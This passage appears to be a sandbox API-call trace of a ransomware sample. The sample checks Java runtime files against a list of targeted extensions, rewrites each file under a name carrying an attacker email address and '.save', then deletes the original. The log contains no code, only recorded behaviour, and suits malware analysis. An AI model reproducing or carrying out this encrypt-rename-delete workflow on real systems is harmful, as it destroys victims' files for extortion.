Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.681] lstrlenW (lpString=".doc") returned 4 [0162.681] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.681] lstrlenW (lpString=".docx") returned 5 [0162.681] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.681] lstrlenW (lpString=".pdf") returned 4 [0162.681] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.681] lstrlenW (lpString=".xls") returned 4 [0162.682] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString=".xlsx") returned 5 [0162.682] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.682] lstrlenW (lpString=".ppt") returned 4 [0162.682] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.682] lstrlenW (lpString=".zip") returned 4 [0162.682] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString=".rar") returned 4 [0162.682] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString=".bz2") returned 4 [0162.682] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString=".7z") returned 3 [0162.682] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.682] lstrlenW (lpString=".dbf") returned 4 [0162.682] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.682] lstrlenW (lpString=".1cd") returned 4 [0162.682] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.682] lstrlenW (lpString=".jpg") returned 4 [0162.682] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.683] lstrlenW (lpString=".doc") returned 4 [0162.683] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".docx") returned 5 [0162.683] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.683] lstrlenW (lpString=".pdf") returned 4 [0162.683] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".xls") returned 4 [0162.683] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".xlsx") returned 5 [0162.683] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.683] lstrlenW (lpString=".ppt") returned 4 [0162.683] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.683] lstrlenW (lpString=".zip") returned 4 [0162.683] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".rar") returned 4 [0162.683] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".bz2") returned 4 [0162.683] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.683] lstrlenW (lpString=".7z") returned 3 [0162.684] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.684] lstrlenW (lpString=".dbf") returned 4 [0162.684] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.684] lstrlenW (lpString=".1cd") returned 4 [0162.684] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.684] lstrlenW (lpString=".jpg") returned 4 [0162.684] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.684] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.684] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0162.684] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.361] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3752) returned 1 [0163.361] CloseHandle (hObject=0x44c) returned 1 [0163.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0163.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.362] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.362] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0163.363] GetLastError () returned 0x0 [0163.363] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xea8, lpOverlapped=0x0) returned 1 [0163.364] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0163.366] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.366] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x106, lpOverlapped=0x0) returned 1 [0163.366] SetEndOfFile (hFile=0x450) returned 1 [0163.366] CloseHandle (hObject=0x450) returned 1 [0163.366] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.366] SetEndOfFile (hFile=0x44c) returned 1 [0163.370] CloseHandle (hObject=0x44c) returned 1 [0163.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.370] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.371] lstrlenW (lpString=".doc") returned 4 [0163.371] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.371] lstrlenW (lpString=".docx") returned 5 [0163.371] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.371] lstrlenW (lpString=".pdf") returned 4 [0163.371] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.371] lstrlenW (lpString=".xls") returned 4 [0163.371] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.371] lstrlenW (lpString=".xlsx") returned 5 [0163.371] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.371] lstrlenW (lpString=".ppt") returned 4 [0163.371] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.371] lstrlenW (lpString=".zip") returned 4 [0163.371] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.371] lstrlenW (lpString=".rar") returned 4 [0163.371] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".bz2") returned 4 [0163.372] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".7z") returned 3 [0163.372] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString=".dbf") returned 4 [0163.372] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString=".1cd") returned 4 [0163.372] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString=".jpg") returned 4 [0163.372] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString=".doc") returned 4 [0163.372] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".docx") returned 5 [0163.372] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.372] lstrlenW (lpString=".pdf") returned 4 [0163.372] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".xls") returned 4 [0163.372] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".xlsx") returned 5 [0163.372] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.372] lstrlenW (lpString=".ppt") returned 4 [0163.372] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.372] lstrlenW (lpString=".zip") returned 4 [0163.372] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".rar") returned 4 [0163.372] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.372] lstrlenW (lpString=".bz2") returned 4 [0163.372] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.373] lstrlenW (lpString=".7z") returned 3 [0163.373] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.373] lstrlenW (lpString=".dbf") returned 4 [0163.373] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.373] lstrlenW (lpString=".1cd") returned 4 [0163.373] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0163.373] lstrlenW (lpString=".jpg") returned 4 [0163.373] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.373] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.373] lstrlenW (lpString="nashorn.jar") returned 11 [0163.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.374] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=2022734) returned 1 [0163.374] CloseHandle (hObject=0x44c) returned 1 [0163.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0163.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0163.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.375] lstrlenW (lpString=".doc") returned 4 [0163.375] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.375] lstrlenW (lpString=".docx") returned 5 [0163.375] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0163.375] lstrlenW (lpString=".pdf") returned 4 [0163.375] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.375] lstrlenW (lpString=".xls") returned 4 [0163.375] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.375] lstrlenW (lpString=".xlsx") returned 5 [0163.375] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0163.375] lstrlenW (lpString=".ppt") returned 4 [0163.375] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.375] lstrlenW (lpString=".zip") returned 4 [0163.375] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.375] lstrlenW (lpString=".rar") returned 4 [0163.375] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.375] lstrlenW (lpString=".bz2") returned 4 [0163.375] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.376] lstrlenW (lpString=".7z") returned 3 [0163.376] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString=".dbf") returned 4 [0163.376] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString=".1cd") returned 4 [0163.376] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString=".jpg") returned 4 [0163.376] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString=".doc") returned 4 [0163.376] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.376] lstrlenW (lpString=".docx") returned 5 [0163.376] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0163.376] lstrlenW (lpString=".pdf") returned 4 [0163.376] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString=".xls") returned 4 [0163.376] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString=".xlsx") returned 5 [0163.376] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0163.376] lstrlenW (lpString=".ppt") returned 4 [0163.376] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.376] lstrlenW (lpString=".zip") returned 4 [0163.376] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString=".rar") returned 4 [0163.376] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.376] lstrlenW (lpString=".bz2") returned 4 [0163.376] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.376] lstrlenW (lpString=".7z") returned 3 [0163.376] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.377] lstrlenW (lpString=".dbf") returned 4 [0163.377] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.377] lstrlenW (lpString=".1cd") returned 4 [0163.377] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0163.377] lstrlenW (lpString=".jpg") returned 4 [0163.377] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.377] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.377] lstrlenW (lpString="sunec.jar") returned 9 [0163.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.378] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=42185) returned 1 [0163.378] CloseHandle (hObject=0x44c) returned 1 [0163.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0163.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0163.379] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.379] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0163.380] GetLastError () returned 0x0 [0163.380] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0163.382] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0163.384] ReadFile (in: hFile=0x44c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.384] WriteFile (in: hFile=0x450, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xe6, lpOverlapped=0x0) returned 1 [0163.384] SetEndOfFile (hFile=0x450) returned 1 [0163.384] CloseHandle (hObject=0x450) returned 1 [0163.385] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.385] SetEndOfFile (hFile=0x44c) returned 1 [0163.388] CloseHandle (hObject=0x44c) returned 1 [0163.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.389] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString=".doc") returned 4 [0163.390] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.390] lstrlenW (lpString=".docx") returned 5 [0163.390] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0163.390] lstrlenW (lpString=".pdf") returned 4 [0163.390] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.390] lstrlenW (lpString=".xls") returned 4 [0163.390] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.390] lstrlenW (lpString=".xlsx") returned 5 [0163.390] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0163.390] lstrlenW (lpString=".ppt") returned 4 [0163.390] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString=".zip") returned 4 [0163.390] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.390] lstrlenW (lpString=".rar") returned 4 [0163.390] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.390] lstrlenW (lpString=".bz2") returned 4 [0163.390] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.390] lstrlenW (lpString=".7z") returned 3 [0163.390] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString=".dbf") returned 4 [0163.390] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString=".1cd") returned 4 [0163.390] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.390] lstrlenW (lpString=".jpg") returned 4 [0163.390] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString=".doc") returned 4 [0163.391] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.391] lstrlenW (lpString=".docx") returned 5 [0163.391] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0163.391] lstrlenW (lpString=".pdf") returned 4 [0163.391] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString=".xls") returned 4 [0163.391] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString=".xlsx") returned 5 [0163.391] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0163.391] lstrlenW (lpString=".ppt") returned 4 [0163.391] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString=".zip") returned 4 [0163.391] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString=".rar") returned 4 [0163.391] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.391] lstrlenW (lpString=".bz2") returned 4 [0163.391] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.391] lstrlenW (lpString=".7z") returned 3 [0163.391] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0163.391] lstrlenW (lpString=".dbf") returned 4 [0163.391] lstrcmpiW 